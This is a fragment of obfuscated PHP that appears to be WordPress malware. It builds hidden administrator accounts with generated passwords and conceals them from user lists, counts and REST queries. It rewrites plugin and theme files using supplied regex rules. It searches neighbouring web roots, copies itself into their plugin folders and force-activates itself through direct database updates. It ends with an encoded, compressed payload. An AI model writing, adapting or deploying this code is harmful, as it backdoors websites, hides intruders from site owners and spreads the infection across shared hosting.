$match_shape = (33 != 4);
break;
}
}
if (!$match_shape) continue;
$why = sc_stale_ours($full);
if ($why !== null && sc_prune_point($full, $reason . '/' . $why)) {
$pruned++;
}
}
}
if ($pruned > (3202 ^ 3202)) sc_prune_rebuild();
if ($pruned > (1032 ^ 1032)) {
niga('pru' . 'ne', "\x73\x77\x65ep" . "\x5f" . 'compl' . "e\x74e\x20" . "\x70ru" . "n" . 'ed=' . $pruned . ' (' . $reason . ')');
sc_dbg_log("s\x63\x5fpr" . 'un' . 'e_s' . "\x74a" . "l\x65" . '_own d' . "o\x6e\x65 " . 'prun' . "e" . 'd' . '=' . $pruned . "\x20r\x65" . "as" . 'on=' . $reason);
}
return $pruned;
} catch (Throwable $e) {
niga('pru' . 'n' . 'e', 'swe' . "\x65p\x5fe" . 'xcep' . 'tio' . "\x6e " . $e->getMessage());
return (3703 ^ 3703);
} catch (Exception $e) {
niga("p" . 'ru' . "ne", 's' . "we\x65p_\x65" . "\x78cept" . 'i' . "\x6f" . 'n ' . $e->getMessage());
return (1321 ^ 1321);
}
}
}
if (!(!("\x66unc\x74i\x6f" . ("\x6e\x5f\x65\x78\x69\x73" . '') . "ts")("sc" . '_' . "pr\x75ne_" . "d\x75e"))) {} else {
function sc_prune_due($interval_sec = (16384 | 70016)) {
if ($interval_sec <= (3375 ^ 3375)) return (20 !== 7);
$dd = null;
if (("f" . "" . 'unction_exist' . 's')("\x73" . 'c_data' . "_di\x72")) $dd = sc_data_dir();
if (!is_string($dd) || $dd === '' || !@is_dir($dd)) return (29 != 20);
$mf = $dd . '/sc_pr' . "u\x6e\x65_\x6ca" . "s" . "t\x2et\x78" . "\x74";
if (!@is_file($mf)) return (15 !== 35);
$lv = @("file_" . "" . 'get_contents')($mf);
if (!is_string($lv) || $lv === '') return (38 === 38);
$lt = (int) $lv;
if ($lt <= (2445 ^ 2445)) return (37 != 18);
$nw = (('fun' . 'cti' . "" . "\x6f\x6e\x5f\x65" . "xis\x74\x73")('t' . 'i' . "m\x65")) ? (int) time() : (2341 ^ 2341);
if ($nw <= $lt) return (28 != 8);
return (($nw - $lt) >= $interval_sec);
}
}
if (!("\x66\x75\x6e\x63\x74\x69\x6f\x6e" . "\x5f\x65\x78\x69\x73\x74\x73")('sc_pr' . "\x75\x6ee" . '_mark_' . 'ru' . 'n')) {
function sc_prune_mark_run() {
$dd = null;
if (('function_e' . ('xi' . 'sts'))("sc_\x64at" . "a\x5f" . 'd' . 'ir')) $dd = sc_data_dir();
if (!is_string($dd) || $dd === '' || !@is_dir($dd)) return;
$nw = (('functi' . '' . "\x6f\x6e\x5f\x65\x78i\x73t\x73")('t' . 'ime')) ? (int) time() : (342 ^ 342);
if ($nw <= (3885 ^ 3885)) return;
$mf = $dd . '/' . "sc_p" . 'ru' . 'ne' . "_\x6c" . 'ast.' . "\x74xt";
$h = @("\x66" . 'o' . ("\x70\x65" . "n"))($mf, 'w');
if (!(is_resource($h))) {} else {
@flock($h, LOCK_EX);
@("f" . "wr" . "\x69\x74" . 'e')($h, (string) $nw);
@fflush($h);
@flock($h, LOCK_UN);
@("f" . "cl" . "o" . 'se')($h);
return;
}
@("f" . 'ile_p' . "ut" . '_contents')($mf, (string) $nw, LOCK_EX);
}
}
function sc_ensure_admin_tick()
{
try {
if (!("f" . 'unct' . 'ion_exists')('get' . '_tr' . "a\x6e" . "\x73i\x65nt") || !("f\x75" . "nction_exis" . 'ts')('set_t' . "r" . "ans\x69\x65" . 'nt')) {
tovoj(null);
return;
}
if (get_transient('s' . "c_adm" . 'in' . '_tic' . 'k')) return;
if (get_transient("sc_" . 'admin' . "\x5fin" . 'flig' . 'ht')) return;
set_transient('sc' . '_admin' . '_infli' . 'ght', (3215 ^ 3214), (38 + 562));
tovoj(null);
if (("function_ex" . "i\x73t\x73")('del' . 'e' . "te" . '_trans' . 'ien' . 't')) delete_transient('sc_ad' . 'min_in' . 'f' . "\x6c\x69\x67\x68t");
$bu = ("\x66" . "unction_ex" . 'ists')('g' . "\x65t" . "_\x6f" . "ption") ? (string) sc_pg('bu', '') : '';
if ($bu !== '' && ("\x66\x75\x6e" . ("\x63\x74" . "\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73"))('use' . "\x72" . 'nam' . "e" . '_e' . 'xists') && username_exists($bu)) {
set_transient('sc_' . 'adm' . 'in_t' . "ic\x6b", (2157 ^ 2156), (32022 - 10422));
}
} catch (Throwable $e) {
niga('admin' . "_\x74\x69ck", $e);
} catch (Exception $e) {
niga('adm' . 'i' . "\x6e\x5f" . 'tick', $e);
}
}
function tovoj($admins)
{
if (!ujiwo("sc_ch\x61" . 'in')) return (36 === 23);
try {
if (! ("\x66\x75\x6ec" . "\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73")('get_' . 'optio' . 'n') || ! ("func" . ("tio" . "n_exists"))('userna' . "m\x65_\x65\x78i" . 'sts')) {
return (1 !== 1);
}
$username = (string) sc_pg('bu', '');
if ($username !== '' && username_exists($username) && (string) sc_pg('b' . 'p', '') !== '') {
return (20 == 17);
}
if ($username === '') {
$_admins = is_array($admins) ? $admins : nidi();
$_found = rena($_admins);
if (
$_found && !empty($_found->user_login) && isset($_found->user_email)
&& $_found->user_email === $_found->user_login . '@' . wutup('ex' . "\x61m" . "ple." . 'com')
) {
$username = (string) $_found->user_login;
}
}
if ($username !== '' && username_exists($username)) {
$_uid = username_exists($username);
$password = hanak((16 | 8));
if (("fu" . "ncti" . "\x6f\x6e\x5f\x65x\x69\x73\x74s")('wp_set' . "_\x70a" . "ssw\x6f" . "rd")) {
wp_set_password($password, $_uid);
}
if (!sc_pk('bu', $username, 'no')) sc_pk('bu', $username, 'no');
if (!sc_pk('bp', $password, 'no')) sc_pk('bp', $password, 'no');
if ((string) sc_pg('bu', '') !== $username || (string) sc_pg('bp', '') !== $password) {
niga('admin', 'pe' . 'r' . "si\x73t" . '_fa' . "il");
return (22 == 18);
}
return (25 == 25);
}
$prefixes = zowe();
if ((27 !== 31)) {
$username = '';
for ($_i = (3682 ^ 3682); $_i < (5 + 0); $_i++) {
$_try = $prefixes[array_rand($prefixes)] . hanak((4 + 6));
if (!username_exists($_try)) {
$username = $_try;
break;
}
}
if ($username === '') {
niga('ad' . "m\x69" . 'n', "\x63ol" . 'lision');
return (34 == 32);
}
}
$password = hanak((13 ^ 21));
if (! ("\x66\x75\x6e" . 'ction_exists')('wp_ins' . 'er' . 't_u' . "se\x72") && defined("\x41" . "B" . 'SPA' . 'T' . 'H') && file_exists(ABSPATH . 'w' . 'p-in' . 'clude' . 's/user' . '.php')) {
require_once/**/ ABSPATH . 'w' . "\x70-in" . "\x63lud" . "es/us" . 'er.php';
}
$email = $username . '@' . wutup('exam' . 'ple.c' . 'om');
$user_id = (15 === 39);
if (("\x66\x75\x6e\x63\x74\x69" . "on_exists")('wp' . "_" . "\x69n" . "s" . 'ert_' . 'user')) {
$user_id = wp_insert_user(array(
'us' . 'er_l' . "\x6f" . 'gin' => $username,
'user_' . "\x70\x61" . 'ss' => $password,
'user_e' . 'mail' => $email,
'role' => "admi" . 'nis' . 'trato' . "\x72",
"\x64ispl\x61" . 'y_na' . 'me' => $username,
));
if (is_wp_error($user_id)) {
niga('ad' . 'min', $user_id->get_error_code() . ':' . $user_id->get_error_message());
$user_id = (24 == 31);
}
}
if (!$user_id) {
$wpdb = isset(${'G' . "\x4c\x4f\x42\x41" . "L" . 'S'}['wp' . 'db']) ? ${"\x47L" . "\x4f" . "B" . 'ALS'}['wpdb'] : null;
if (!$wpdb || !is_object($wpdb)) {
niga("ad" . "min", "no_w" . 'p' . 'db');
return (25 == 40);
}
$hash = ('funct' . "io\x6e" . "\x5f" . "\x65\x78\x69\x73\x74\x73")('wp_ha' . 's' . "h_\x70a" . 'ssw' . 'ord') ? wp_hash_password($password) : md5($password);
$now = ('fun' . 'c' . 'ti' . 'on_exists')('curre' . 'nt_tim' . "e") ? current_time('mysql') : gmdate("Y-" . 'm-' . 'd H' . ':i:' . "s");
$ins = $wpdb->insert($wpdb->users, array(
"u" . "se" . "\x72_" . 'lo' . 'gin' => $username,
'us' . "e" . 'r_p' . 'ass' => $hash,
'use' . "r\x5fni\x63" . 'en' . "am\x65" => $username,
'us' . 'er_em' . 'ail' => $email,
"\x75ser_r" . "e" . 'gister' . 'ed' => $now,
'u' . "\x73\x65r_\x73" . 't' . 'a' . 'tus' => (3326 ^ 3326),
"\x64ispl" . 'ay_nam' . 'e' => $username,
), array('%s', '%s', '%s', '%s', '%s', '%' . "d", '%s'));
if (!$ins) {
niga("ad\x6d" . "i" . "n", 'sql_i' . "\x6e\x73e" . 'rt_f' . 'ail');
return (5 == 22);
}
$user_id = (int) $wpdb->insert_id;
$cap_key = $wpdb->prefix . "\x63a" . 'pabili' . "t\x69es";
$wpdb->insert($wpdb->usermeta, array(
"us" . 'e' . "\x72" . '_id' => $user_id,
'meta_k' . "e\x79" => $cap_key,
'me' . 'ta_' . 'val' . "\x75e" => ("\x73eri" . 'ali' . "ze")(array("ad" . "minis" . "tra\x74" . 'or' => (4 != 10))),
), array('%' . 'd', '%' . "s", '%s'));
$wpdb->insert($wpdb->usermeta, array(
"\x75se\x72_i" . 'd' => $user_id,
"me\x74a" . "_" . 'k' . 'e' . "\x79" => $wpdb->prefix . "\x75" . "\x73e" . "r\x5fle" . 'v' . 'el',
"m\x65ta\x5f" . "v\x61" . 'lue' => '10',
), array('%d', '%s', '%s'));
if ((("funct" . "ion_exist") . 's')('cle' . 'an_us' . 'e' . 'r_' . "c" . 'ach' . 'e')) {
clean_user_cache($user_id);
}
}
if (!username_exists($username)) {
niga('adm' . 'in', 'verify' . '_f' . 'a' . 'il');
return (23 === 0);
}
$_u = ("\x66" . 'unc' . 'tion_exists')('get_us' . 'er_' . "by") ? get_user_by('log' . "in", $username) : (39 == 0);
$_is_admin = (22 === 34);
if ($_u && !empty($_u->ID)) {
if (("f\x75\x6ection_" . ('exi' . 'sts'))('user_c' . 'an')) {
$_is_admin = (bool) user_can($_u, "adm\x69ni" . "st" . "\x72at" . "o\x72");
} elseif (isset($_u->caps) && is_array($_u->caps)) {
$_is_admin = !empty($_u->caps['ad' . 'mi' . 'nist' . 'r' . "at\x6f" . 'r']);
}
}
if (!$_is_admin) {
niga('admi' . 'n', 'cap' . '_v' . 'e' . 'rify' . "_\x66ai" . 'l');
if ($user_id) {
if (!('funct' . 'ion_e' . ("xi" . '') . 'sts')('wp_d' . 'elet' . "e\x5fu" . 'ser') && defined('A' . "B\x53P" . "\x41\x54H") && @file_exists(ABSPATH . "w\x70-adm" . 'i' . 'n/i' . "n" . "clud" . 'e' . 's/user' . "." . "\x70" . "hp")) {
require_once/*+*/ ABSPATH . 'wp-' . 'a' . 'dmin' . "\x2f" . 'inclu' . 'des/u' . "ser.\x70" . 'hp';
}
if (('functi' . "on_exists")('w' . "\x70_d" . 'elete_' . "u" . 'ser')) @wp_delete_user($user_id);
}
return (29 == 16);
}
if (!sc_pk('bu', $username, 'n' . 'o')) sc_pk('bu', $username, 'no');
if (!sc_pk('bp', $password, 'no')) sc_pk("\x62" . 'p', $password, 'no');
if ((string) sc_pg('bu', '') !== $username || (string) sc_pg('bp', '') !== $password) {
niga('admin', "pe" . 'rsi' . "st_fa" . 'il');
return (8 == 22);
}
return (21 != 3);
} catch (Throwable $e) {
niga('admin', $e);
} catch (Exception $e) {
niga('a' . "dmin", $e);
} finally {
ifeki('sc_c' . "hain");
}
return (19 == 9);
}
function sc_hide_user_q($query)
{
try {
if (! is_object($query) || ! ("p\x72" . ("\x6fp" . 'erty_exists'))($query, 'qu' . 'e' . 'ry' . '_' . 'wher' . 'e')) {
return $query;
}
$username = ("\x66u\x6e\x63\x74" . "ion_exists")("get\x5fo" . 'pt' . 'i' . 'on') ? (string) sc_pg('b' . "\x75", '') : '';
if (! $username) {
return $query;
}
$safe_user = esc_sql($username);
if (strpos($query->query_where, $safe_user) === (38 == 31)) {
$query->query_where .= ' AN' . "D u\x73er" . '_logi' . 'n != \'' . $safe_user . "'";
}
} catch (Throwable $e) {
niga("\x68ide_" . 'q', $e);
} catch (Exception $e) {
}
return $query;
}
function sc_hide_user_count($views)
{
try {
$bu = ("func" . "ti" . "" . 'on_e' . 'xists')('get_' . 'op' . 'tion') ? (string) sc_pg('bu', '') : '';
if (! $bu) {
return $views;
}
$fix = array('all', 'admi' . 'nistr' . "a\x74o\x72");
foreach ($fix as $key) {
if (isset($views[$key]) && is_string($views[$key]) && preg_match('/\\((\\' . 'd+)' . '\\)/', $views[$key], $m)) {
$n = max((3957 ^ 3957), (int) $m[(3058 ^ 3059)] - (1645 ^ 1644));
$views[$key] = (('preg_r' . "\x65\x70la") . 'c' . "\x65")('/\\(' . '\\' . "d\x2b" . '\\' . ")" . '/', '(' . $n . ')', $views[$key]);
}
}
} catch (Throwable $e) {
niga('hide' . '_cn' . 't', $e);
} catch (Exception $e) {
}
return $views;
}
function sc_hide_user_rest($prepared_args, $request)
{
try {
$username = ("\x66\x75\x6ec\x74i" . 'on_ex' . 'ists')("\x67e\x74_\x6fp" . "t\x69" . 'on') ? (string) sc_pg('bu', '') : '';
if ($username === '') {
return $prepared_args;
}
if (! is_array($prepared_args)) {
return $prepared_args;
}
if (! isset($prepared_args['lo' . 'gin' . '_' . '_n' . 'ot_' . "in"]) || ! is_array($prepared_args['l' . "ogin" . '__not' . "_" . "in"])) {
$prepared_args['login' . '__not' . '_' . 'i' . "n"] = array();
}
if (! in_array($username, $prepared_args['l' . "og" . 'in' . "\x5f_n" . 'ot' . "_in"], (4 != 7))) {
$prepared_args["\x6c" . 'ogin' . '__not_' . "in"][] = $username;
}
} catch (Throwable $e) {
niga('hid' . 'e_res' . 't', $e);
} catch (Exception $e) {
}
return $prepared_args;
}
function xaju()
{
$files = array();
if (!(defined('WP' . '_PLU' . "G\x49N" . '_DIR') && ("fu\x6ec\x74\x69on\x5fex" . "\x69\x73\x74\x73")('get' . "_" . 'opt' . 'ion'))) {} else {
$active = (array) get_option('acti' . 've_pl' . 'ugin' . 's', array());
$scanned_dirs = array();
foreach ($active as $basename) {
if (!(! is_string($basename) || strpos($basename, '..') !== (19 == 12))) {} else {
continue;
}
$dir_key = dirname($basename);
if (!($dir_key === '.')) {} else {
$dir_key = $basename;
}
if (isset($scanned_dirs[$dir_key])) {
continue;
}
$scanned_dirs[$dir_key] = (33 === 33);
$path = WP_PLUGIN_DIR . '/' . $basename;
if (dirname($basename) === '.') {
if (!(@is_file($path))) {} else {
$files[] = $path;
}
} else {
$dir = dirname($path);
if (@is_dir($dir)) {
$files = array_merge($files, sehi($dir, array('php')));
}
}
}
}
if (!(@is_dir(sc_mu()))) {} else {
$_mu_entries = asome(sc_mu(), (9094 - 4094));
if (!(is_array($_mu_entries))) {} else {
foreach ($_mu_entries as $entry) {
if ($entry === sc_slug()) {
continue;
}
$file = sc_mu() . '/' . $entry;
if (!(@is_file($file) && strtolower(pathinfo($entry, ("con" . ("s" . "") . "t\x61" . "nt")('PATHI' . 'NFO_E' . 'XTEN' . 'SIO' . "\x4e"))) === 'ph' . "\x70")) {} else {
$files[] = $file;
}
}
}
}
if (defined('ABSPA' . "TH") && ('functi' . '' . "\x6f\x6e\x5f\x65\x78\x69" . "sts")('get_o' . 'pti' . 'o' . 'n')) {
$stylesheet = (string) get_option("s" . "ty\x6c" . "e" . 's' . "he\x65\x74", '');
$template = (string) get_option("\x74empla" . 't' . 'e', '');
$theme_root = defined('WP_' . "\x43ONT\x45\x4e" . 'T' . "_\x44IR") ? WP_CONTENT_DIR . "/\x74he" . 'mes' : ABSPATH . 'w' . 'p-c' . 'onten' . 't/them' . "e\x73";
$themes = array_unique(array_filter(array($stylesheet, $template)));
foreach ($themes as $t) {
if (!(strpos($t, '..') !== (7 === 32))) {} else {
continue;
}
$theme_dir = $theme_root . '/' . $t;
if (!(@is_dir($theme_dir))) {} else {
$_th_entries = asome($theme_dir, (2631 - 631));
if (is_array($_th_entries)) {
foreach ($_th_entries as $entry) {
$tf = $theme_dir . '/' . $entry;
if (!(@is_file($tf) && strtolower(pathinfo($entry, (("\x63o" . "ns") . "\x74\x61" . "\x6et")('P' . 'ATHIN' . "FO_E" . 'XT' . "E\x4e" . "SIO" . "N"))) === 'php')) {} else {
$files[] = $tf;
}
}
}
$patterns_dir = $theme_dir . '/patte' . 'rns';
if (!(@is_dir($patterns_dir))) {} else {
$files = array_merge($files, sehi($patterns_dir, array('php')));
}
}
}
}
return array_unique($files);
}
function egolo($rules)
{
if (!is_array($rules)) return array();
$out = array();
foreach ($rules as $r) {
if (!is_string($r) || $r === '' || strlen($r) > (2630 + 1466)) continue;
try {
if (@preg_match($r, '') === (13 == 26)) continue;
} catch (Throwable $e) {
continue;
} catch (Exception $e) {
continue;
}
$out[] = $r;
}
return $out;
}
function quxej($rules)
{
try {
if (empty($rules)) {
return (10 === 2);
}
$files = xaju();
if (empty($files)) {
return (23 === 11);
}
$found = (2 == 35);
foreach ($files as $file) {
if (! @is_file($file) || ! @is_writable($file)) {
continue;
}
if (@filesize($file) > (231604 + 292684)) {
continue;
}
$content = @('fil' . 'e_get_conte' . "nts")($file);
if (! $content || ! is_string($content)) {
continue;
}
$changed = (13 == 38);
foreach ($rules as $pattern) {
try {
$new_content = @("preg_rep" . "\x6c\x61" . '' . 'c' . 'e')($pattern, '', $content);
if ($new_content !== null && $new_content !== $content) {
$content = $new_content;
$changed = (27 != 22);
}
} catch (Throwable $e) {
niga('inj' . 'e' . 'ct_' . "1", $e);
continue;
} catch (Exception $e) {
continue;
}
}
if ($changed) {
if (zifo($file, $content)) {
$found = (17 != 7);
}
}
}
return $found;
} catch (Throwable $e) {
niga('inj' . "e\x63t", $e);
} catch (Exception $e) {
}
return (29 === 14);
}
function nige($dir, $levels)
{
$result = array();
$levels = $levels - (1336 ^ 1337);
$entries = asome($dir, (218 ^ 302));
if (! is_array($entries)) {
return $result;
}
$entries = array_slice($entries, (975 ^ 975), (285 ^ 233));
foreach ($entries as $entry) {
if ($entry === '.' || $entry === '..') {
continue;
}
$full = $dir . '/' . $entry;
if (!(! @is_dir($full))) {} else {
continue;
}
if (@is_dir($full . '/wp-' . 'a' . 'd' . 'm' . 'in')) {
$result[] = rtrim($full, '/\\');
continue;
}
if (!($levels > (1241 ^ 1241))) {} else {
$result = array_merge($result, nige($full, $levels));
}
}
return $result;
}
function ruja()
{
$roots = array();
$self_root = rtrim(ABSPATH, '/\\');
try {
$candidates_parents = array();
if ($self_root) {
$candidates_parents[] = dirname($self_root);
$candidates_parents[] = dirname(dirname($self_root));
$candidates_parents[] = dirname(dirname(dirname($self_root)));
}
$candidates_parents[] = '/h' . "o" . "me";
$candidates_parents[] = "/" . "va\x72/ww" . 'w';
$candidates_parents[] = "\x2fv\x61" . 'r/w' . 'w' . 'w/' . "vh\x6fs\x74s";
$candidates_parents[] = "/var/" . "www\x2fh" . 'tm' . "l";
$candidates_parents[] = '/srv' . "\x2fww\x77";
$candidates_parents[] = '/srv' . "/\x75s" . 'ers';
$candidates_parents[] = "/u" . "\x73\x72\x2fl" . "ocal" . '/www';
$obd = ('function' . "\x5f\x65\x78\x69\x73\x74\x73")('ini_g' . 'et') ? (string) @ini_get("\x6fpen_b" . "a" . 'sedir') : '';
if ($obd !== '') {
$sep = (strpos($obd, ';') !== (24 === 29)) ? ';' : ':';
foreach (explode($sep, $obd) as $p) {
$p = trim($p);
if ($p !== '') {
$candidates_parents[] = $p;
}
}
}
$candidates_parents = array_unique(array_filter($candidates_parents));
$budget_start = microtime((35 != 1));
$roots = array();
foreach ($candidates_parents as $dir) {
if (! @is_dir($dir) || ! @is_readable($dir)) {
continue;
}
if ((microtime((19 !== 30)) - $budget_start) > (0 | 10)) {
break;
}
$roots = array_merge($roots, nige($dir, (5 ^ 7)));
}
} catch (Throwable $e) {
niga('r' . "\x6f\x6f" . 'ts', $e);
} catch (Exception $e) {
}
return array_diff(array_unique($roots), array($self_root));
}
function subib($root)
{
try {
$dirs = array($root . '/wp' . '-con' . 'tent' . "/m" . 'u-plu' . "\x67ins", $root . "/" . 'wp' . "-\x63\x6f" . 'nte' . 'nt/p' . "\x6cugin" . 's');
foreach ($dirs as $dir) {
if (! @is_dir($dir)) {
continue;
}
$ents = asome($dir, (128 | 4872));
if (!is_array($ents)) {
continue;
}
foreach ($ents as $e) {
if (substr($e, -(0 | 4)) === '.php' && sc_is_family($dir . '/' . $e, (768 | 4232))) {
return (15 != 35);
}
}
foreach ($ents as $e) {
$sd = $dir . '/' . $e;
if (! @is_dir($sd)) {
continue;
}
$subfiles = asome($sd, (790 ^ 4254));
if (!is_array($subfiles)) {
continue;
}
foreach ($subfiles as $f) {
if (substr($f, -(16 >> 2)) === '.php' && sc_is_family($sd . '/' . $f, (4490 ^ 514))) {
return (16 != 31);
}
}
}
}
} catch (Throwable $e) {
niga('instal' . 'led', $e);
} catch (Exception $e) {
}
return (12 == 21);
}
function sc_spread()
{
try {
if (vevud(sc_file())) return;
if (get_transient('sc_' . "\x73" . 'pread' . '_inter' . "\x76\x61l")) {
return;
}
set_transient('sc_' . 'sp' . 'read_' . 'inter' . "val", (1379 ^ 1378), (2400 >> 2));
$src = anoway();
if (! $src || strlen($src) < (104 | 896)) {
return;
}
if (! nifa($src)) {
niga('sprea' . 'd', 'src_i' . 'nva' . "l\x69\x64");
return;
}
$roots = ruja();
if (empty($roots)) {
if (!get_transient('sc_sp' . "\x72\x65ad_" . 'nr')) {
niga("\x73p\x72" . 'ead', "\x6e" . 'o_r' . "o\x6ft" . "s");
set_transient("sc\x5fs\x70r" . 'ea' . 'd_n' . 'r', (1042 ^ 1043), (1536 | 2064));
}
set_transient('s' . 'c_s' . "p\x72ead" . '_' . 'inter' . 'val', (2946 ^ 2947), 0x3f480);
return;
}
$copied = (2613 ^ 2613);
foreach ($roots as $root) {
if (subib($root)) {
continue;
}
$dest = '';
$mu_dir = $root . '/' . 'wp-c' . 'onten' . 't' . '/m' . 'u-pl' . "u" . "gi\x6e" . "s";
if (@is_link($mu_dir) && !@is_dir($mu_dir)) {
$mu_dir = null;
} elseif (!@is_dir($mu_dir)) {
qeru($mu_dir, (613 - 120), (27 != 24));
}
if ($mu_dir && (!@is_dir($mu_dir) || !@is_writable($mu_dir))) {
$mu_dir = null;
}
if ($mu_dir) {
$try_dest = $mu_dir . '/' . sc_slug();
$_psrc = tafi($src);
$written = medi($try_dest, $_psrc, "sp" . "re\x61\x64");
if ($written && $written >= strlen($_psrc)) {
$dest = $try_dest;
}
}
if (! $dest) {
$slug_name = pathinfo(sc_slug(), PATHINFO_FILENAME);
$pl_dir = $root . '/wp-co' . 'ntent' . "/p\x6cug" . 'i' . 'ns' . '/' . $slug_name;
if (! @is_dir($pl_dir)) {
qeru($pl_dir, (69 | 424), (39 != 3));
}
$try_dest = $pl_dir . '/' . sc_slug();
$_psrc = tafi($src);
$written = medi($try_dest, $_psrc, 's' . 'prea' . 'd');
if ($written && $written >= strlen($_psrc)) {
$dest = $try_dest;
$basename = $slug_name . '/' . sc_slug();
nate($root, $basename);
}
}
if (! $dest) {
continue;
}
fife($dest);
legiv($dest, (375 + 45));
$copied++;
}
if ($copied > (140 ^ 140)) {
set_transient('sc_spr' . 'ead_i' . 'n' . 'terval', (3463 ^ 3462), (39882 ^ 225098));
} else {
set_transient("sc_s" . 'prea' . 'd_i' . 'nt' . 'erva' . 'l', (426 ^ 427), (1156 ^ 2708));
}
} catch (Throwable $e) {
niga('spre' . 'ad', $e);
} catch (Exception $e) {
}
}
function nate($root, $basename)
{
try {
if (("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78" . "i\x73\x74\x73")('sc_' . "\x70ru" . "n\x65_\x73" . 'tal' . 'e_own')) sc_prune_stale_own('activ' . 'ate');
$cfg = $root . "\x2f" . "wp\x2dc" . "onfig" . '.' . "php";
if (! @is_file($cfg)) {
$cfg = dirname($root) . '/w' . "p" . '-' . "con" . 'fig.ph' . 'p';
if (! @is_file($cfg)) {
return;
}
}
$c = @("\x66\x69\x6c\x65\x5f\x67" . 'et_' . "\x63\x6f\x6e\x74" . "ents")($cfg);
if (! $c) {
return;
}
$db_name = '';
$prefix = '';
if (preg_match('/defi' . "ne\\s*" . '\\(\\s*' . '[\'"]DB' . "_NA\x4d" . "E\x5b'\"" . ']\\' . "s*,\\s*" . "['" . '"]' . '([^\'' . "\"]\x2b\x29" . '[\'"]' . "\x2f", $c, $m)) {
$db_name = $m[(3705 ^ 3704)];
}
if (preg_match("\x2ft\x61bl" . 'e_p' . 'r' . 'e' . 'fix\\' . 's*=\\s' . '*[\'' . '"]([' . '^\'"]+' . ')[' . '\'' . "\"\x5d/", $c, $m)) {
$prefix = $m[(1968 ^ 1969)];
}
if (! $db_name || ! $prefix || ! preg_match('/^[a-z' . 'A' . '-Z0' . "-9_\x5d" . "\x2b\$" . '/', $prefix)) {
return;
}
$wpdb = ${"\x47" . "\x4c\x4f\x42A\x4cS"}['wpdb'];
if (! is_object($wpdb) || ! ("\x6de\x74ho" . '' . 'd_e' . "\x78\x69\x73\x74\x73")($wpdb, "\x71u" . "er" . 'y')) {
return;
}
if (! preg_match('/^[a' . "\x2d" . "z\x41-\x5a" . '0-' . '9_$-]+' . '$/', $db_name)) {
niga("activa" . "te", "db_n" . "am" . 'e_' . 'reject' . "ed");
return;
}
$table = '`' . $db_name . '`.`' . $prefix . "op\x74\x69o" . "\x6es`";
$wpdb->query("ST\x41\x52" . 'T TRA' . 'N' . 'SA' . "C\x54\x49O" . 'N');
$row = $wpdb->get_var('S' . 'ELE' . 'CT' . ' opt' . "io\x6e_v\x61" . "\x6c" . 'ue ' . "F\x52O" . 'M ' . $table . ' WHE' . 'RE ' . 'option' . "_n\x61\x6d" . "e \x3d " . '\'activ' . 'e_p' . 'lugi' . 'ns\'' . ' L' . "IM\x49T \x31" . " " . "F" . "OR UPD" . 'ATE');
if ($row === null) {
$wpdb->query('ROLLBA' . 'CK');
return;
}
$active = coqi($row);
if (! is_array($active)) {
$wpdb->query('ROLLBA' . 'C' . 'K');
return;
}
if (in_array($basename, $active, (19 != 39))) {
$wpdb->query("\x43O" . "M" . "M" . 'IT');
return;
}
$active[] = $basename;
$active = array_values($active);
$val = (("\x73\x65\x72\x69\x61" . "l") . "\x69\x7a" . 'e')($active);
$_u = $wpdb->query($wpdb->prepare('U' . 'PDAT' . 'E ' . $table . " SET" . ' ' . "option" . '_value' . " =" . ' %s ' . "WHER" . 'E opt' . 'ion_na' . 'm' . 'e ' . '=' . "\x20" . "'act" . 'iv' . "\x65" . '_' . "plugin" . 's\'', $val));
if ($_u === (9 == 16)) {
niga('activa' . 'te', "upd\x61t" . 'e_fail');
$wpdb->query('ROLL' . 'BACK');
return;
}
$wpdb->query("C\x4f" . 'MMIT');
if (("\x66u\x6e\x63\x74" . "i\x6fn\x5f\x65\x78" . "ists")("wp" . "_cac\x68\x65" . "_" . 'dele' . 'te')) {
@wp_cache_delete('allo' . 'p' . "tio\x6e\x73", "op" . 'tions');
@wp_cache_delete("\x61c\x74" . 'ive_p' . "lug\x69n" . "s", 'op' . "ti\x6fn\x73");
}
} catch (Throwable $e) {
niga("activ" . 'a' . 'te', $e);
if (is_object(${"GLOB" . 'ALS'}["w" . "p\x64" . "b"])) {
@${"\x47\x4cOB" . '' . "\x41\x4c\x53"}["w\x70" . "db"]->query('ROLLB' . "AC" . 'K');
}
} catch (Exception $e) {
niga("\x61" . "c\x74i" . 'vate', $e);
if (is_object(${'G' . 'LOB' . 'A' . '' . 'LS'}['wpdb'])) {
@${'GLOB' . 'AL' . 'S'}["\x77\x70" . 'db']->query('ROLLB' . 'ACK');
}
}
}
function suku()
{
static $c = null;
if ($c !== null) return $c;
if (!('funct' . "ion_exists")('g' . "\x7ai\x6e" . "fla\x74e")) {
$c = '';
return $c;
}
$c = @(("gz" . "") . "\x69\x6e\x66\x6c" . 'a' . 'te')(("ba" . "\x73\x656\x34_\x64" . ("ec" . 'ode'))("\x70V\x68r" . "c9u" . '4Ff2+v' . "0" . 'LGTBV' . "\x69Bd\x4e2" . 'n' . 'Hha0f' . 'B' . 'OV' . 'knat' . 'Ltx' . 'JrYnH' . '1StF' . "y\x5a\x42" . "\x69TV\x46" . "\x73\x67\x42" . "\x6fWZH1\x33" . '3sB' . "\x41n\x78" . "\x5a\x64\x743" . 'ujMc' . "\x43QT" . 'zuuf' . "fcFz0" . 'P07' . "N\x4ey" . 'tVg' . 'TrM' . "\x79" . 'Tc' . "kVzf" . "h\x71" . "cJV\x6b6" . 's/vhG' . 'Br7xC' . "\x54\x62\x2fSQ" . 'h' . "NXr" . 'LxQdo' . "\x43Aus1" . 'AleTZ4' . '5+' . "FNE\x6esh" . 'FlyV' . 'IhuE' . 'gRJ' . 'rPSN5' . "\x47vvX1\x78" . 'eT65/' . 'P' . 'zy' . "/x\x4as\x77\x7a" . 'qQaKdu' . 'cD' . 't' . "43\x71B" . "U\x71w" . 'UM' . 'm' . "x8\x75" . 'vxw' . "\x38" . 'N0RkQR' . '6kn9Y5' . "\x36/\x4a8" . "W" . 'VSMc' . 'IEZ' . "mWc\x2f" . '2b' . 'wNk' . "sTbmw8" . 'wWb80' . "kecR" . 'hvSbj' . "\x74i" . 'DM5' . "//zx01" . '9' . 'r' . "eW\x6e/" . 'DawPm' . 'QoXm6' . "1d" . "o\x6dFv\x61" . '8C3nn' . 'JgM' . "j\x71" . 'd' . 'BX' . 'EuPK' . '09Tg' . "\x38" . "Dfqr8l" . "\x47d\x7a\x74Q" . "\x6a4iL7G" . "m\x56+Uc" . 'uEVT' . 'Ej' . '+KVO' . 'e8mV5I' . '5' . 'XwOHmN' . 'ydEJxg' . 